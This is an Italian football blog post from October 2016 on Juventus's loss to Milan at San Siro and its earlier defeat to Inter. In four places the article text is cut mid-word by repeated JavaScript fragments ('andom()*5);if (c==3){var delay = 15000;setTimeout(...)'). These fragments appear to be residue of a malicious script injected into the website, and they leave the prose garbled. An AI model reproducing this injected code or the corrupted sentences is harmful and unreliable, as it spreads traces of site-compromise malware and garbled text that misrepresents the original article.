The Locker Room

BUIO A SAN SIRO

23 ottobre 2016 Italia, Seria A, Speak About
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La splendida rete di Locatelli mette la Juventus davanti alla seconda sconfitta della stagione, uno stop inaspettato che obbliga Allegri ad una riflessione profonda data una serie di fastidiose coincidenze da non sottovalutare. San Siro è la prima costante: sembra che ultimamente lo stadio “Giuseppe Meazza” non sia propriamente un’isola felice per i bianconeri che già la scorsa stagione, nella semifinale di ritorno di Coppa Italia, erano stati travolti da un’Inter spinta soltanto dalla forza della disperazione, dall’utopia di ribaltare il 3-0 incassato allo “Juventus Stadium”.
Si era parlato sostanzialmente di un approccio sbagliato alla partita, un marchiano errore di valutazione che una squadra come la Juventus non si sarebbe mai più permessa di fare.
Il 2-1 contro l’Inter invece era stato commentato con grandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ande freddezza da tutto l’ambiente, infastidito dalla prestazione incolore dei Campioni d’Italia, poco lucidi, spossati e senza inventiva: l’Inter va addirittura in svantaggio ma non demorde e grazie a Icardi, bestia nera di Allegri, rimette velocemente la partita sui binari giusti, aprendo la strada al goal della vittoria. Si parlò forse troppo presto di una nuova Inter grintosa e intensa, una filosofia di gioco disegnata da De Boer che finalmente si concretizzava. Sostanzialmente Allegri fece ammenda dei propri errori, raccolse le critiche dovute a qualche presunto errore di formazione senza polemiche ed esortò i suoi a riprendere in mano le sorti del proprio destino, considerandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando che Roma e Napoli non danno ancora l’impressione di poter fare altrettanto.
La sconfitta contro il Milan ha però il suono di un campanello d’allarme fastidioso. Premesso che il goal del vantaggio bianconero era effettivamente regolare, che l’infortunio di Dybala è stato una tegola non da niente e che i rossoneri non hanno mai entusiasmato o divertito, la Juventus di sabato sera era una squadra con evidenti problemi. Con un Montella ormai convertito ad una mentalità tattica assai più “Trapattoniana”e un centrocampo rinnovato nelle geometrie e nel ritmo dopo l’infortunio di Montolivo, il Milan prima mette in evidente difficoltà i bianconeri, stranamente anarchici e poco intensi nel pressing, poi passa in vantaggio e gestisce fino al 90′.
Che la Juventus sia stata sconfitta dalle grandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andi motivazioni di Inter e Milan? Beh, da poco altro in più. Le milanesi non hanno certo giganteggiato, però sono state abbastanza intelligenti, fortunate e convinte per portare a casa tre punti pesanti per la classifica e soprattutto per il morale.
Poco brillante, affaticata dagli impegni europei e ancora in cerca di un’identità da Juventus, in una parola battibile: così è apparsa la squadra di Allegri, ancora primo ma sicuramente con qualche pensiero in più.